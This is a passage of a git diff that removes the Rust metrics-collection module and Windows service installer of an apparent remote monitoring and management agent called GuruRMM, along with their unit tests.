.unwrap_or((0, 0, 0.0)); - - // Network metrics (sum all interfaces) - let networks = Networks::new_with_refreshed_list(); - let (total_rx, total_tx): (u64, u64) = networks - .iter() - .map(|(_, data)| (data.total_received(), data.total_transmitted())) - .fold((0, 0), |(acc_rx, acc_tx), (rx, tx)| { - (acc_rx + rx, acc_tx + tx) - }); - - // Calculate delta from previous collection - let (delta_rx, delta_tx) = { - let mut prev_rx = self.prev_network_rx.lock().unwrap(); - let mut prev_tx = self.prev_network_tx.lock().unwrap(); - - let delta_rx = total_rx.saturating_sub(*prev_rx); - let delta_tx = total_tx.saturating_sub(*prev_tx); - - *prev_rx = total_rx; - *prev_tx = total_tx; - - (delta_rx, delta_tx) - }; - - // Get OS info - let os_type = std::env::consts::OS.to_string(); - let os_version = System::os_version().unwrap_or_else(|| "unknown".to_string()); - let hostname = System::host_name().unwrap_or_else(|| "unknown".to_string()); - - // Get uptime and boot time - let uptime_seconds = System::uptime(); - let boot_time = System::boot_time() as i64; - - // Get logged in user - let logged_in_user = self.get_logged_in_user(); - - // Get user idle time (platform-specific) - let user_idle_seconds = self.get_user_idle_time(); - - // Return all values - locks are dropped at end of this block - ( - cpu_percent, - memory_percent, - memory_used, - memory_total, - disk_percent, - disk_used, - disk_total, - delta_rx, - delta_tx, - os_type, - os_version, - hostname, - uptime_seconds, - boot_time, - logged_in_user, - user_idle_seconds, - ) - }; - - // All locks are now released - safe to do async work - // Get public IP (cached, refreshed every 5 minutes) - let public_ip = self.get_public_ip().await; - - SystemMetrics { - timestamp: Utc::now(), - cpu_percent, - memory_percent, - memory_used_bytes: memory_used, - memory_total_bytes: memory_total, - disk_percent, - disk_used_bytes: disk_used, - disk_total_bytes: disk_total, - network_rx_bytes: delta_rx, - network_tx_bytes: delta_tx, - os_type, - os_version, - hostname, - uptime_seconds, - boot_time, - logged_in_user, - user_idle_seconds, - public_ip, - } - } - - /// Get the currently logged in user - fn get_logged_in_user(&self) -> Option { - let users = Users::new_with_refreshed_list(); - // Return the first user found (typically the console user) - users.iter().next().map(|u| u.name().to_string()) - } - - /// Get user idle time in seconds (time since last keyboard/mouse input) - #[cfg(target_os = "windows")] - fn get_user_idle_time(&self) -> Option { - // Windows: Use GetLastInputInfo API - use std::mem; - - #[repr(C)] - struct LASTINPUTINFO { - cb_size: u32, - dw_time: u32, - } - - extern "system" { - fn GetLastInputInfo(plii: *mut LASTINPUTINFO) -> i32; - fn GetTickCount() -> u32; - } - - unsafe { - let mut lii = LASTINPUTINFO { - cb_size: mem::size_of::() as u32, - dw_time: 0, - }; - - if GetLastInputInfo(&mut lii) != 0 { - let idle_ms = GetTickCount().wrapping_sub(lii.dw_time); - Some((idle_ms / 1000) as u64) - } else { - None - } - } - } - - /// Get user idle time in seconds (Unix/macOS) - #[cfg(not(target_os = "windows"))] - fn get_user_idle_time(&self) -> Option { - // Unix: Check /dev/tty* or use platform-specific APIs - // For now, return None - can be enhanced with X11/Wayland idle detection - None - } - - /// Get public IP address (cached for 5 minutes) - async fn get_public_ip(&self) -> Option { - use std::time::{Duration, Instant}; - - const REFRESH_INTERVAL: Duration = Duration::from_secs(300); // 5 minutes - - // Check if we have a cached value that's still fresh - { - let last_fetch = self.last_public_ip_fetch.lock().unwrap(); - let cached_ip = self.cached_public_ip.lock().unwrap(); - - if let Some(last) = *last_fetch { - if last.elapsed() < REFRESH_INTERVAL { - return cached_ip.clone(); - } - } - } - - // Fetch new public IP - let new_ip = self.fetch_public_ip().await; - - // Update cache - { - let mut last_fetch = self.last_public_ip_fetch.lock().unwrap(); - let mut cached_ip = self.cached_public_ip.lock().unwrap(); - *last_fetch = Some(Instant::now()); - *cached_ip = new_ip.clone(); - } - - new_ip - } - - /// Fetch public IP from external service - async fn fetch_public_ip(&self) -> Option { - // Try multiple services for reliability - let services = [ - "https://api.ipify.org", - "https://ifconfig.me/ip", - "https://icanhazip.com", - ]; - - for service in &services { - match reqwest::get(*service).await { - Ok(resp) if resp.status().is_success() => { - if let Ok(ip) = resp.text().await { - let ip = ip.trim().to_string(); - // Basic validation: should look like an IP - if ip.parse::().is_ok() { - return Some(ip); - } - } - } - _ => continue, - } - } - - None - } - - /// Get basic system info (for registration) - pub fn get_system_info(&self) -> SystemInfo { - let system = self.system.lock().unwrap(); - - SystemInfo { - os_type: std::env::consts::OS.to_string(), - os_version: System::os_version().unwrap_or_else(|| "unknown".to_string()), - hostname: System::host_name().unwrap_or_else(|| "unknown".to_string()), - cpu_count: system.cpus().len() as u32, - total_memory_bytes: system.total_memory(), - } - } -} - -impl Default for MetricsCollector { - fn default() -> Self { - Self::new() - } -} - -/// Basic system information (for agent registration) -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct SystemInfo { - /// Operating system type (windows, linux, macos) - pub os_type: String, - - /// Operating system version - pub os_version: String, - - /// System hostname - pub hostname: String, - - /// Number of CPU cores - pub cpu_count: u32, - - /// Total memory in bytes - pub total_memory_bytes: u64, -} - -/// Network interface information -#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] -pub struct NetworkInterface { - /// Interface name (e.g., "eth0", "Wi-Fi", "Ethernet") - pub name: String, - - /// MAC address (if available from sysinfo) - pub mac_address: Option, - - /// IPv4 addresses assigned to this interface - pub ipv4_addresses: Vec, - - /// IPv6 addresses assigned to this interface - pub ipv6_addresses: Vec, -} - -/// Complete network state (sent on connect and on change) -#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] -pub struct NetworkState { - /// Timestamp when network state was collected - pub timestamp: DateTime, - - /// All network interfaces with their addresses - pub interfaces: Vec, - - /// Hash of the network state for quick change detection - pub state_hash: String, -} - -impl NetworkState { - /// Collect current network state from the system - pub fn collect() -> Self { - let mut interface_map: HashMap = HashMap::new(); - - // Get IP addresses from local-ip-address crate - if let Ok(netifas) = list_afinet_netifas() { - for (name, ip) in netifas { - let entry = interface_map.entry(name.clone()).or_insert_with(|| { - NetworkInterface { - name: name.clone(), - mac_address: None, - ipv4_addresses: Vec::new(), - ipv6_addresses: Vec::new(), - } - }); - - match ip { - IpAddr::V4(addr) => { - let addr_str = addr.to_string(); - if !entry.ipv4_addresses.contains(&addr_str) { - entry.ipv4_addresses.push(addr_str); - } - } - IpAddr::V6(addr) => { - let addr_str = addr.to_string(); - if !entry.ipv6_addresses.contains(&addr_str) { - entry.ipv6_addresses.push(addr_str); - } - } - } - } - } - - // Get MAC addresses from sysinfo - let networks = Networks::new_with_refreshed_list(); - for (name, data) in &networks { - if let Some(entry) = interface_map.get_mut(name) { - let mac = data.mac_address(); - let mac_str = format!( - "{:02X}:{:02X}:{:02X}:{:02X}:{:02X}:{:02X}", - mac.0[0], mac.0[1], mac.0[2], mac.0[3], mac.0[4], mac.0[5] - ); - // Don't store empty/null MACs - if mac_str != "00:00:00:00:00:00" { - entry.mac_address = Some(mac_str); - } - } - } - - // Convert to sorted vec for consistent ordering - let mut interfaces: Vec = interface_map.into_values().collect(); - interfaces.sort_by(|a, b| a.name.cmp(&b.name)); - - // Filter out loopback and link-local only interfaces - interfaces.retain(|iface| { - // Keep if has any non-loopback IPv4 - let has_real_ipv4 = iface.ipv4_addresses.iter().any(|ip| { - !ip.starts_with("127.") && !ip.starts_with("169.254.") - }); - // Keep if has any non-link-local IPv6 - let has_real_ipv6 = iface.ipv6_addresses.iter().any(|ip| { - !ip.starts_with("fe80:") && !ip.starts_with("::1") - }); - has_real_ipv4 || has_real_ipv6 - }); - - // Generate hash for change detection - let state_hash = Self::compute_hash(&interfaces); - - NetworkState { - timestamp: Utc::now(), - interfaces, - state_hash, - } - } - - /// Compute a simple hash of the network state for change detection - fn compute_hash(interfaces: &[NetworkInterface]) -> String { - use std::collections::hash_map::DefaultHasher; - use std::hash::{Hash, Hasher}; - - let mut hasher = DefaultHasher::new(); - for iface in interfaces { - iface.name.hash(&mut hasher); - iface.mac_address.hash(&mut hasher); - for ip in &iface.ipv4_addresses { - ip.hash(&mut hasher); - } - for ip in &iface.ipv6_addresses { - ip.hash(&mut hasher); - } - } - format!("{:016x}", hasher.finish()) - } - - /// Check if network state has changed compared to another state - pub fn has_changed(&self, other: &NetworkState) -> bool { - self.state_hash != other.state_hash - } -} - -#[cfg(test)] -mod tests { - use super::*; - - #[tokio::test] - async fn test_metrics_collection() { - let collector = MetricsCollector::new(); - let metrics = collector.collect().await; - - // Basic sanity checks - assert!(metrics.cpu_percent >= 0.0 && metrics.cpu_percent <= 100.0); - assert!(metrics.memory_percent >= 0.0 && metrics.memory_percent <= 100.0); - assert!(metrics.memory_total_bytes > 0); - assert!(!metrics.os_type.is_empty()); - assert!(!metrics.hostname.is_empty()); - } - - #[test] - fn test_system_info() { - let collector = MetricsCollector::new(); - let info = collector.get_system_info(); - - assert!(!info.os_type.is_empty()); - assert!(!info.hostname.is_empty()); - assert!(info.cpu_count > 0); - assert!(info.total_memory_bytes > 0); - } - - #[test] - fn test_network_state_collection() { - let state = NetworkState::collect(); - - // Should have a valid timestamp - assert!(state.timestamp <= Utc::now()); - - // Should have a hash - assert!(!state.state_hash.is_empty()); - assert_eq!(state.state_hash.len(), 16); // 64-bit hash as hex - - // Print for debugging - println!("Network state collected:"); - for iface in &state.interfaces { - println!(" {}: IPv4={:?}, IPv6={:?}, MAC={:?}", - iface.name, iface.ipv4_addresses, iface.ipv6_addresses, iface.mac_address); - } - } - - #[test] - fn test_network_state_change_detection() { - let state1 = NetworkState::collect(); - let state2 = NetworkState::collect(); - - // Same state should have same hash - assert!(!state1.has_changed(&state2)); - - // Create a modified state - let mut modified = state1.clone(); - if let Some(iface) = modified.interfaces.first_mut() { - iface.ipv4_addresses.push("10.99.99.99".to_string()); - } - modified.state_hash = NetworkState::compute_hash(&modified.interfaces); - - // Modified state should be detected as changed - assert!(state1.has_changed(&modified)); - } -} diff --git a/projects/msp-tools/guru-rmm/agent/src/service.rs b/projects/msp-tools/guru-rmm/agent/src/service.rs deleted file mode 100644 index c32b107..0000000 --- a/projects/msp-tools/guru-rmm/agent/src/service.rs +++ /dev/null @@ -1,777 +0,0 @@ -//! Windows Service implementation for GuruRMM Agent -//! -//! This module implements the Windows Service Control Manager (SCM) protocol, -//! allowing the agent to run as a native Windows service without third-party wrappers. - -#[cfg(all(windows, feature = "native-service"))] -pub mod windows { - use std::ffi::OsString; - use std::path::PathBuf; - use std::sync::mpsc; - use std::time::Duration; - - use anyhow::{Context, Result}; - use tracing::{error, info, warn}; - use windows_service::{ - define_windows_service, - service::{ - ServiceAccess, ServiceControl, ServiceControlAccept, ServiceErrorControl, - ServiceExitCode, ServiceInfo, ServiceStartType, ServiceState, ServiceStatus, - ServiceType, - }, - service_control_handler::{self, ServiceControlHandlerResult}, - service_dispatcher, service_manager::{ServiceManager, ServiceManagerAccess}, - }; - - pub const SERVICE_NAME: &str = "GuruRMMAgent"; - pub const SERVICE_DISPLAY_NAME: &str = "GuruRMM Agent"; - pub const SERVICE_DESCRIPTION: &str = - "GuruRMM Agent - Remote Monitoring and Management service"; - pub const INSTALL_DIR: &str = r"C:\Program Files\GuruRMM"; - pub const CONFIG_DIR: &str = r"C:\ProgramData\GuruRMM"; - - // Generate the Windows service boilerplate - define_windows_service!(ffi_service_main, service_main); - - /// Entry point called by the Windows Service Control Manager - pub fn run_as_service() -> Result<()> { - // This function is called when Windows starts the service. - // It blocks until the service is stopped. - service_dispatcher::start(SERVICE_NAME, ffi_service_main) - .context("Failed to start service dispatcher")?; - Ok(()) - } - - /// Main service function called by the SCM - fn service_main(arguments: Vec) { - if let Err(e) = run_service(arguments) { - error!("Service error: {}", e); - } - } - - /// The actual service implementation - fn run_service(_arguments: Vec) -> Result<()> { - // Create a channel to receive stop events - let (shutdown_tx, shutdown_rx) = mpsc::channel(); - - // Create the service control handler - let event_handler = move |control_event| -> ServiceControlHandlerResult { - match control_event { - ServiceControl::Stop => { - info!("Received stop command from SCM"); - let _ = shutdown_tx.send(()); - ServiceControlHandlerResult::NoError - } - ServiceControl::Interrogate => ServiceControlHandlerResult::NoError, - ServiceControl::Shutdown => { - info!("Received shutdown command from SCM"); - let _ = shutdown_tx.send(()); - ServiceControlHandlerResult::NoError - } - _ => ServiceControlHandlerResult::NotImplemented, - } - }; - - // Register the service control handler - let status_handle = service_control_handler::register(SERVICE_NAME, event_handler) - .context("Failed to register service control handler")?; - - // Report that we're starting - status_handle - .set_service_status(ServiceStatus { - service_type: ServiceType::OWN_PROCESS, - current_state: ServiceState::StartPending, - controls_accepted: ServiceControlAccept::empty(), - exit_code: ServiceExitCode::Win32(0), - checkpoint: 0, - wait_hint: Duration::from_secs(10), - process_id: None, - }) - .context("Failed to set StartPending status")?; - - // Determine config path - let config_path = PathBuf::from(CONFIG_DIR).join("agent.toml"); - - // Create the tokio runtime for the agent - let runtime = tokio::runtime::Runtime::new().context("Failed to create tokio runtime")?; - - // Start the agent in the runtime - let agent_result = runtime.block_on(async { - // Load configuration - let config = match crate::config::AgentConfig::load(&config_path) { - Ok(c) => c, - Err(e) => { - error!("Failed to load config from {:?}: {}", config_path, e); - return Err(anyhow::anyhow!("Config load failed: {}", e)); - } - }; - - info!("GuruRMM Agent service starting..."); - info!("Config loaded from {:?}", config_path); - info!("Server URL: {}", config.server.url); - - // Initialize metrics collector - let metrics_collector = crate::metrics::MetricsCollector::new(); - info!("Metrics collector initialized"); - - // Create shared state - let state = std::sync::Arc::new(crate::AppState { - config: config.clone(), - metrics_collector, - connected: tokio::sync::RwLock::new(false), - }); - - // Report that we're running - status_handle - .set_service_status(ServiceStatus { - service_type: ServiceType::OWN_PROCESS, - current_state: ServiceState::Running, - controls_accepted: ServiceControlAccept::STOP | ServiceControlAccept::SHUTDOWN, - exit_code: ServiceExitCode::Win32(0), - checkpoint: 0, - wait_hint: Duration::default(), - process_id: None, - }) - .context("Failed to set Running status")?; - - // Start WebSocket client task - let ws_state = std::sync::Arc::clone(&state); - let ws_handle = tokio::spawn(async move { - loop { - info!("Connecting to server..."); - match crate::transport::WebSocketClient::connect_and_run(std::sync::Arc::clone( - &ws_state, - )) - .await - { - Ok(_) => { - warn!("WebSocket connection closed normally, reconnecting..."); - } - Err(e) => { - error!("WebSocket error: {}, reconnecting in 10 seconds...", e); - } - } - *ws_state.connected.write().await = false; - tokio::time::sleep(tokio::time::Duration::from_secs(10)).await; - } - }); - - // Start metrics collection task - let metrics_state = std::sync::Arc::clone(&state); - let metrics_handle = tokio::spawn(async move { - let interval = metrics_state.config.metrics.interval_seconds; - let mut interval_timer = - tokio::time::interval(tokio::time::Duration::from_secs(interval)); - - loop { - interval_timer.tick().await; - let metrics = metrics_state.metrics_collector.collect().await; - if *metrics_state.connected.read().await { - info!( - "Metrics: CPU={:.1}%, Mem={:.1}%, Disk={:.1}%", - metrics.cpu_percent, metrics.memory_percent, metrics.disk_percent - ); - } - } - }); - - // Wait for shutdown signal from SCM - // We use a separate task to poll the channel since it's not async - let shutdown_handle = tokio::spawn(async move { - loop { - match shutdown_rx.try_recv() { - Ok(_) => { - info!("Shutdown signal received"); - break; - } - Err(mpsc::TryRecvError::Empty) => { - tokio::time::sleep(tokio::time::Duration::from_millis(100)).await; - } - Err(mpsc::TryRecvError::Disconnected) => { - warn!("Shutdown channel disconnected"); - break; - } - } - } - }); - - // Wait for shutdown - tokio::select! { - _ = shutdown_handle => { - info!("Service shutting down gracefully"); - } - _ = ws_handle => { - error!("WebSocket task ended unexpectedly"); - } - _ = metrics_handle => { - error!("Metrics task ended unexpectedly"); - } - } - - Ok::<(), anyhow::Error>(()) - }); - - // Report that we're stopping - status_handle - .set_service_status(ServiceStatus { - service_type: ServiceType::OWN_PROCESS, - current_state: ServiceState::StopPending, - controls_accepted: ServiceControlAccept::empty(), - exit_code: ServiceExitCode::Win32(0), - checkpoint: 0, - wait_hint: Duration::from_secs(5), - process_id: None, - }) - .ok(); - - // Report that we've stopped - status_handle - .set_service_status(ServiceStatus { - service_type: ServiceType::OWN_PROCESS, - current_state: ServiceState::Stopped, - controls_accepted: ServiceControlAccept::empty(), - exit_code: match &agent_result { - Ok(_) => ServiceExitCode::Win32(0), - Err(_) => ServiceExitCode::Win32(1), - }, - checkpoint: 0, - wait_hint: Duration::default(), - process_id: None, - }) - .ok(); - - agent_result - } - - /// Known legacy service names to check and remove - const LEGACY_SERVICE_NAMES: &[&str] = &[ - "GuruRMM-Agent", // NSSM-based service name - "gururmm-agent", // Alternative casing - ]; - - /// Detect and remove legacy service installations (e.g., NSSM-based) - fn cleanup_legacy_services() -> Result<()> { - let manager = match ServiceManager::local_computer( - None::<&str>, - ServiceManagerAccess::CONNECT, - ) { - Ok(m) => m, - Err(_) => return Ok(()), // Can't connect, skip legacy cleanup - }; - - for legacy_name in LEGACY_SERVICE_NAMES { - if let Ok(service) = manager.open_service( - *legacy_name, - ServiceAccess::QUERY_STATUS | ServiceAccess::STOP | ServiceAccess::DELETE, - ) { - info!("Found legacy service '{}', removing...", legacy_name); - - // Stop if running - if let Ok(status) = service.query_status() { - if status.current_state != ServiceState::Stopped { - info!("Stopping legacy service..."); - let _ = service.stop(); - std::thread::sleep(Duration::from_secs(3)); - } - } - - // Delete the service - match service.delete() { - Ok(_) => { - println!("** Removed legacy service: {}", legacy_name); - } - Err(e) => { - warn!("Failed to delete legacy service '{}': {}", legacy_name, e); - } - } - } - } - - // Also check for NSSM in registry/service config - // NSSM services have specific registry keys under HKLM\SYSTEM\CurrentControlSet\Services\{name}\Parameters - for legacy_name in LEGACY_SERVICE_NAMES { - let params_key = format!( - r"SYSTEM\CurrentControlSet\Services\{}\Parameters", - legacy_name - ); - // If this key exists, it was likely an NSSM service - if let Ok(output) = std::process::Command::new("reg") - .args(["query", &format!(r"HKLM\{}", params_key)]) - .output() - { - if output.status.success() { - info!("Found NSSM registry keys for '{}', cleaning up...", legacy_name); - let _ = std::process::Command::new("reg") - .args(["delete", &format!(r"HKLM\{}", params_key), "/f"]) - .output(); - } - } - } - - Ok(()) - } - - /// Install the agent as a Windows service using native APIs - pub fn install( - server_url: Option, - api_key: Option, - skip_legacy_check: bool, - ) -> Result<()> { - info!("Installing GuruRMM Agent as Windows service..."); - - // Clean up legacy installations unless skipped - if !skip_legacy_check { - info!("Checking for legacy service installations..."); - if let Err(e) = cleanup_legacy_services() { - warn!("Legacy cleanup warning: {}", e); - } - } - - // Get the current executable path - let current_exe = - std::env::current_exe().context("Failed to get current executable path")?; - - let binary_dest = PathBuf::from(INSTALL_DIR).join("gururmm-agent.exe"); - let config_dest = PathBuf::from(CONFIG_DIR).join("agent.toml"); - - // Create directories - info!("Creating directories..."); - std::fs::create_dir_all(INSTALL_DIR).context("Failed to create install directory")?; - std::fs::create_dir_all(CONFIG_DIR).context("Failed to create config directory")?; - - // Copy binary - info!("Copying binary to: {:?}", binary_dest); - std::fs::copy(¤t_exe, &binary_dest).context("Failed to copy binary")?; - - // Handle configuration - let config_needs_manual_edit; - if !config_dest.exists() { - info!("Creating config: {:?}", config_dest); - - // Start with sample config - let mut config = crate::config::AgentConfig::sample(); - - // Apply provided values - if let Some(url) = &server_url { - config.server.url = url.clone(); - } - if let Some(key) = &api_key { - config.server.api_key = key.clone(); - } - - let toml_str = toml::to_string_pretty(&config)?; - std::fs::write(&config_dest, toml_str).context("Failed to write config file")?; - - config_needs_manual_edit = server_url.is_none() || api_key.is_none(); - } else { - info!("Config already exists: {:?}", config_dest); - config_needs_manual_edit = false; - - // If server_url or api_key provided, update existing config - if server_url.is_some() || api_key.is_some() { - info!("Updating existing configuration..."); - let config_content = std::fs::read_to_string(&config_dest)?; - let mut config: crate::config::AgentConfig = toml::from_str(&config_content) - .context("Failed to parse existing config")?; - - if let Some(url) = &server_url { - config.server.url = url.clone(); - } - if let Some(key) = &api_key { - config.server.api_key = key.clone(); - } - - let toml_str = toml::to_string_pretty(&config)?; - std::fs::write(&config_dest, toml_str) - .context("Failed to update config file")?; - } - } - - // Open the service manager - let manager = ServiceManager::local_computer( - None::<&str>, - ServiceManagerAccess::CONNECT | ServiceManagerAccess::CREATE_SERVICE, - ) - .context("Failed to connect to Service Control Manager. Run as Administrator.")?; - - // Check if service already exists - if let Ok(service) = manager.open_service( - SERVICE_NAME, - ServiceAccess::QUERY_STATUS | ServiceAccess::DELETE | ServiceAccess::STOP, - ) { - info!("Removing existing service..."); - - // Stop the service if running - if let Ok(status) = service.query_status() { - if status.current_state != ServiceState::Stopped { - let _ = service.stop(); - std::thread::sleep(Duration::from_secs(2)); - } - } - - // Delete the service - service.delete().context("Failed to delete existing service")?; - drop(service); - - // Wait for deletion to complete - std::thread::sleep(Duration::from_secs(2)); - } - - // Create the service - // The service binary is called with "service" subcommand when started by SCM - let service_binary_path = format!(r#""{}" service"#, binary_dest.display()); - - info!("Creating service with path: {}", service_binary_path); - - let service_info = ServiceInfo { - name: OsString::from(SERVICE_NAME), - display_name: OsString::from(SERVICE_DISPLAY_NAME), - service_type: ServiceType::OWN_PROCESS, - start_type: ServiceStartType::AutoStart, - error_control: ServiceErrorControl::Normal, - executable_path: binary_dest.clone(), - launch_arguments: vec![OsString::from("service")], - dependencies: vec![], - account_name: None, // LocalSystem - account_password: None, - }; - - let service = manager - .create_service(&service_info, ServiceAccess::CHANGE_CONFIG | ServiceAccess::START) - .context("Failed to create service")?; - - // Set description - service - .set_description(SERVICE_DESCRIPTION) - .context("Failed to set service description")?; - - // Configure recovery options using sc.exe (windows-service crate doesn't support this directly) - info!("Configuring recovery options..."); - let _ = std::process::Command::new("sc") - .args([ - "failure", - SERVICE_NAME, - "reset=86400", - "actions=restart/60000/restart/60000/restart/60000", - ]) - .output(); - - println!("\n** GuruRMM Agent installed successfully!"); - println!("\nInstalled files:"); - println!(" Binary: {:?}", binary_dest); - println!(" Config: {:?}", config_dest); - - if config_needs_manual_edit { - println!("\n** IMPORTANT: Edit {:?} with your server URL and API key!", config_dest); - println!("\nNext steps:"); - println!(" 1. Edit {:?} with your server URL and API key", config_dest); - println!(" 2. Start the service:"); - println!(" gururmm-agent start"); - println!(" Or: sc start {}", SERVICE_NAME); - } else { - println!("\nStarting service..."); - if let Err(e) = start() { - println!("** Failed to start service: {}. Start manually with:", e); - println!(" gururmm-agent start"); - } else { - println!("** Service started successfully!"); - } - } - - println!("\nUseful commands:"); - println!(" Status: gururmm-agent status"); - println!(" Stop: gururmm-agent stop"); - println!(" Start: gururmm-agent start"); - - Ok(()) - } - - /// Uninstall the Windows service - pub fn uninstall() -> Result<()> { - info!("Uninstalling GuruRMM Agent..."); - - let binary_path = PathBuf::from(INSTALL_DIR).join("gururmm-agent.exe"); - - // Open the service manager - let manager = ServiceManager::local_computer( - None::<&str>, - ServiceManagerAccess::CONNECT, - ) - .context("Failed to connect to Service Control Manager. Run as Administrator.")?; - - // Open the service - match manager.open_service( - SERVICE_NAME, - ServiceAccess::QUERY_STATUS | ServiceAccess::STOP | ServiceAccess::DELETE, - ) { - Ok(service) => { - // Stop if running - if let Ok(status) = service.query_status() { - if status.current_state != ServiceState::Stopped { - info!("Stopping service..."); - let _ = service.stop(); - std::thread::sleep(Duration::from_secs(3)); - } - } - - // Delete the service - info!("Deleting service..."); - service.delete().context("Failed to delete service")?; - } - Err(_) => { - warn!("Service was not installed"); - } - } - - // Remove binary - if binary_path.exists() { - info!("Removing binary: {:?}", binary_path); - // Wait a bit for service to fully stop - std::thread::sleep(Duration::from_secs(1)); - if let Err(e) = std::fs::remove_file(&binary_path) { - warn!("Failed to remove binary (may be in use): {}", e); - } - } - - // Remove install directory if empty - let _ = std::fs::remove_dir(INSTALL_DIR); - - println!("\n** GuruRMM Agent uninstalled successfully!"); - println!( - "\nNote: Config directory {:?} was preserved.", - CONFIG_DIR - ); - println!("Remove it manually if no longer needed."); - - Ok(()) - } - - /// Start the installed service - pub fn start() -> Result<()> { - info!("Starting GuruRMM Agent service..."); - - let manager = ServiceManager::local_computer( - None::<&str>, - ServiceManagerAccess::CONNECT, - ) - .context("Failed to connect to Service Control Manager")?; - - let service = manager - .open_service(SERVICE_NAME, ServiceAccess::START | ServiceAccess::QUERY_STATUS) - .context("Failed to open service. Is it installed?")?; - - service - .start::(&[]) - .context("Failed to start service")?; - - // Wait briefly and check status - std::thread::sleep(Duration::from_secs(2)); - - let status = service.query_status()?; - match status.current_state { - ServiceState::Running => { - println!("** Service started successfully"); - println!("Check status: gururmm-agent status"); - } - ServiceState::StartPending => { - println!("** Service is starting..."); - println!("Check status: gururmm-agent status"); - } - other => { - println!("Service state: {:?}", other); - } - } - - Ok(()) - } - - /// Stop the installed service - pub fn stop() -> Result<()> { - info!("Stopping GuruRMM Agent service..."); - - let manager = ServiceManager::local_computer( - None::<&str>, - ServiceManagerAccess::CONNECT, - ) - .context("Failed to connect to Service Control Manager")?; - - let service = manager - .open_service(SERVICE_NAME, ServiceAccess::STOP | ServiceAccess::QUERY_STATUS) - .context("Failed to open service. Is it installed?")?; - - service.stop().context("Failed to stop service")?; - - // Wait and verify - std::thread::sleep(Duration::from_secs(2)); - - let status = service.query_status()?; - match status.current_state { - ServiceState::Stopped => { - println!("** Service stopped successfully"); - } - ServiceState::StopPending => { - println!("** Service is stopping..."); - } - other => { - println!("Service state: {:?}", other); - } - } - - Ok(()) - } - - /// Query service status - pub fn status() -> Result<()> { - let manager = ServiceManager::local_computer( - None::<&str>, - ServiceManagerAccess::CONNECT, - ) - .context("Failed to connect to Service Control Manager")?; - - match manager.open_service(SERVICE_NAME, ServiceAccess::QUERY_STATUS) { - Ok(service) => { - let status = service.query_status()?; - println!("GuruRMM Agent Service Status"); - println!("============================"); - println!("Service Name: {}", SERVICE_NAME); - println!("Display Name: {}", SERVICE_DISPLAY_NAME); - println!("State: {:?}", status.current_state); - println!( - "Binary: {}\\gururmm-agent.exe", - INSTALL_DIR - ); - println!("Config: {}\\agent.toml", CONFIG_DIR); - } - Err(_) => { - println!("GuruRMM Agent Service Status"); - println!("============================"); - println!("Status: NOT INSTALLED"); - println!("\nTo install: gururmm-agent install"); - } - } - - Ok(()) - } -} - -/// Legacy Windows stub module (when native-service is not enabled) -/// For legacy Windows (7, Server 2008 R2), use NSSM for service wrapper -#[cfg(all(windows, not(feature = "native-service")))] -pub mod windows { - use anyhow::{Result, bail}; - - pub const SERVICE_NAME: &str = "GuruRMMAgent"; - pub const SERVICE_DISPLAY_NAME: &str = "GuruRMM Agent"; - pub const SERVICE_DESCRIPTION: &str = - "GuruRMM Agent - Remote Monitoring and Management service"; - pub const INSTALL_DIR: &str = r"C:\Program Files\GuruRMM"; - pub const CONFIG_DIR: &str = r"C:\ProgramData\GuruRMM"; - - /// Legacy build doesn't support native service mode - pub fn run_as_service() -> Result<()> { - bail!("Native Windows service mode not available in legacy build. Use 'run' command with NSSM wrapper instead.") - } - - /// Legacy install just copies binary and config, prints NSSM instructions - pub fn install( - server_url: Option, - api_key: Option, - _skip_legacy_check: bool, - ) -> Result<()> { - use std::path::PathBuf; - use tracing::info; - - info!("Installing GuruRMM Agent (legacy mode)..."); - - // Get the current executable path - let current_exe = std::env::current_exe()?; - let binary_dest = PathBuf::from(INSTALL_DIR).join("gururmm-agent.exe"); - let config_dest = PathBuf::from(CONFIG_DIR).join("agent.toml"); - - // Create directories - std::fs::create_dir_all(INSTALL_DIR)?; - std::fs::create_dir_all(CONFIG_DIR)?; - - // Copy binary - info!("Copying binary to: {:?}", binary_dest); - std::fs::copy(¤t_exe, &binary_dest)?; - - // Create config if needed - if !config_dest.exists() { - let mut config = crate::config::AgentConfig::sample(); - if let Some(url) = &server_url { - config.server.url = url.clone(); - } - if let Some(key) = &api_key { - config.server.api_key = key.clone(); - } - let toml_str = toml::to_string_pretty(&config)?; - std::fs::write(&config_dest, toml_str)?; - } - - println!("\n** GuruRMM Agent installed (legacy mode)!"); - println!("\nInstalled files:"); - println!(" Binary: {:?}", binary_dest); - println!(" Config: {:?}", config_dest); - println!("\n** IMPORTANT: This is a legacy build for Windows 7/Server 2008 R2"); - println!(" Use NSSM to install as a service:"); - println!(); - println!(" nssm install {} {:?} run --config {:?}", SERVICE_NAME, binary_dest, config_dest); - println!(" nssm start {}", SERVICE_NAME); - println!(); - println!(" Download NSSM from: https://nssm.cc/download"); - - Ok(()) - } - - pub fn uninstall() -> Result<()> { - use std::path::PathBuf; - - let binary_path = PathBuf::from(INSTALL_DIR).join("gururmm-agent.exe"); - - println!("** To uninstall legacy service, use NSSM:"); - println!(" nssm stop {}", SERVICE_NAME); - println!(" nssm remove {} confirm", SERVICE_NAME); - println!(); - - if binary_path.exists() { - std::fs::remove_file(&binary_path)?; - println!("** Binary removed: {:?}", binary_path); - } - - let _ = std::fs::remove_dir(INSTALL_DIR); - println!("\n** GuruRMM Agent uninstalled (legacy mode)!"); - println!("Note: Config directory {} was preserved.", CONFIG_DIR); - - Ok(()) - } - - pub fn start() -> Result<()> { - println!("** Legacy build: Use NSSM or sc.exe to start the service:"); - println!(" nssm start {}", SERVICE_NAME); - println!(" -- OR --"); - println!(" sc start {}", SERVICE_NAME); - Ok(()) - } - - pub fn stop() -> Result<()> { - println!("** Legacy build: Use NSSM or sc.exe to stop the service:"); - println!(" nssm stop {}", SERVICE_NAME); - println!(" -- OR --"); - println!(" sc stop {}", SERVICE_NAME); - Ok(()) - } - - pub fn status() -> Result<()> { - println!("GuruRMM Agent Service Status (Legacy Build)"); - println!("=========================================="); - println!("Service Name: {}", SERVICE_NAME); - println!(); - println!("** Legacy build: Use sc.exe to query status:"); - println!(" sc query {}", SERVICE_NAME); - println!(); - println!("Binary: {}\\gururmm-agent.exe", INSTALL_DIR); - println!("Config: {}\\agent.toml", CONFIG_DIR); - Ok(()) - } -} diff --git a/projects/msp-tools/guru-rmm/agent/src/transport/mod.rs 